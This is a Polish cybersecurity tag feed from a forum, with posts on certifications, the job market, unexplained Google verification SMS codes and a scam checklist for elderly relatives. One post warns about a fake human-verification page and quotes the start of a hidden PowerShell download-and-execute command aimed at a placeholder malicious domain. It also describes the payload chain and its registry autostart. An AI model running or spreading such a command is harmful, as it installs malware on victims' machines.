Wszystko

Najnowsze

Archiwum

wardx
  • 0
Pytanie do kogoś kto pracuje w #cybersecurity #cybersec

Czy pracodawcy zwracają uwagę na certyfikaty #ccna i #ccnp , czy te certyfikaty są raczej bezwartościowe w tej branży? Ewentualnie na co lepiej zwrócić uwagę?
  • 5
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
xavhowk
  • 1
Takie coś mi wyskoczyło na jednej stronie, przy wyłączonym adblocku.
W schowku była komenda do wykonania w powershellu. To był jakiś prosty skrypt, który ściągał plik tekstowy i uruchamiał go jako kolejny skrypt. Drugi skrypt z pliku tekstowego ściągał plik zip, rozpakowywał, uruchamiał exe z katalogu. Exe rozgaszczał się jak sądzę w AppData a do rejestru dodawany był wpis potrzebny do autostartu.

Pierwszy skrypt

powershell.exe -W Hidden -command $url = 'adreszlosliwejstronyinternetowej.com/n2.txt'; $response
xavhowk - Takie coś mi wyskoczyło na jednej stronie, przy wyłączonym adblocku. W scho...

źródło: Screenshot 2024-10-06 at 13-06-33 Verify You Are Human

Pobierz
  • 4
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
mirko_anonim
  • 0
✨️ Obserwuj #mirkoanonim
Mircy, jak myślicie – czy cyberbezpieczeństwo to kolejna branża, którą czeka los podobny do testerki i devów (frontend/back)? Z jednej strony mega hype na rynku, ale z drugiej coraz więcej ludzi wchodzi w ten temat i narzędzia automatyzujące się rozwijają. Czeka nas przesyt w tej dziedzinie, czy jednak nadal będzie zapotrzebowanie? Co sądzicie?
https://i.imgur.com/GwAa56T.png
#pracait #programista15k #cybersecurity

〰〰〰〰〰〰〰〰〰〰〰〰〰〰〰
  • 13
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
BreathDeath
BreathDeath
  • 6
@mirko_anonim: Nie, tak samo jak devops. Próg wejścia jest bardzo wysoki, do tego masz bardzo wysoką odpowiedzialność. Często jak programujesz to masz znać język i framework. To, że nie wiesz jak działa komputer nie oznacza, że nie dodasz nowego endpointu do cruda czy nie zrobisz nowego widoku na froncie. Jak masz zrobić pentest to wygląda już trochę inaczej. Sama modyfikacja zapytania wymaga wiedzy o tym jak działa proxy, protokół HTTP,
  • Odpowiedz
c.....1
c.....1
  • 3
@mirko_anonim: Chyba nie do końca, bo do security trzeba mieć twardy skill, tj. wykształcenie typu infa, fizyka, itp. plus doświadczenie w IT. Zupełnie co innego niż małpa do klikania aka tester manualny.
  • Odpowiedz
tylkosieturozgladam
tylkosieturozgladam
  • 2
@JamesJoyce jedyny pomysł jaki mam, to fork llama 3, w którym wysyłasz zaszyfrowanego prompta, odszyfrowujesz w trakcie inferencji i zwracasz znowu zaszyfrowane, i odszyfrowujesz na kliencie/urzadzeniu. Wszystko robisz na replicate.com Odpadną koszty utrzymania całego hardware i płacisz jedynie za czas trwania inferencji + cold boot. Będzie to wolniejsze ale powinno zaspokoić wymagania twojego klienta

Edit: wsadzanie hasha zamiast czystego prompta wg mnie nie ma sensu: ogromna entropia, no i jak byś
  • Odpowiedz
konefkazwrocka
konefkazwrocka
  • 6
@stary_grat Najprostsza zasada, zeby nie zostac w-------m w kakowca. Nie jestes czegos pewien, nie czujesz tego to nie realizuj transakcji w ten sposob. Odnosnie pytania - nie da sie cofnac transkacji, ale widze, ze lubisz ryzyko.
  • Odpowiedz
fristajlor
  • 0
Trzeci dzień z rzędu otrzymuję kody weryfikacyjne od googla na sms. Mają one następującą postać:
G-XXXXXX is your Google verification code.

Na przestrzeni tego czasu (sobota - poniedziałek) dostałem już ich prawie 100. Sam moimi działaniami nie powodowałem ich generowania. W sobotę były one generowane w godz. 21-22, w niedziele w godz. 14-21 i 23, w poniedziałek (dziś) 0-5.

Mam ustawioną weryfikację dwuetapową w oparciu o urządzenie, authenticator i numer telefonu. Wylogowałem moje konto gmail
  • 4
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
bojesieminusow
  • 4
Ostatnio sąsiadka mamy została zrobiona na 60k więc robie takie małe kompendium dla rodzinki na co trzeba uważać w sieci, jak macie jeszcze jakieś pomysły co mogłem pominąć to piszcie w komentarzach, może też wam się przyda takie małe kompendium dla osób starszych.

Metoda na wnuczka/policjanta + spoofing ewentualnie klonowanie głosu przez AI.
Olx/vinted przy kupowaniu i sprzedawaniu. Czyli podpinanie karty w jakiejś pishingowej witrynie, wysyłanie fake trackingu do którego trzeba coś dopłacić
  • 5
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
Limonene
  • 3
@bojesieminusow: dodaj oszustwo na księcia syryjskiego. Wiem, że beka, ale ludzie się nadal na to łapią. Moja znajoma pracuje na poczcie i przychodzi taka babeczka ok. 45 lat co jakiś czas robić przelewy dla swojego "ukochanego", który ją właśnie tak urabia. Kobiety z poczty się starają jej jakoś wytłumaczyć, ze to oszustwo, ale nic nie dociera
  • Odpowiedz
zetisdead
  • 3
kompendium dla rodzinki na co trzeba uważać w sieci,


@bojesieminusow: najważniejszy jest czas - wbij im do głowy, żeby niczego nie robili pod presją czasu.

Resztę twoich przykładów i tak zignorują. Nie wiem ile razy powtarzałem swojej mamie, żeby nie podawała żadnych danych przez telefon "bo dzwoni pani z banku".
  • Odpowiedz
Interpretator
  • 2
@lunga: Musisz być kimś ważnym albo niesamowicie bogatym, żeby ktoś chciał się bawić w "hakowanie" Twojego kompa XD

Przeskanuj jeszcze zewnętrznie bez uwierzytelniania zobaczysz co widzi "druga strona".
  • Odpowiedz

Powiązane tagi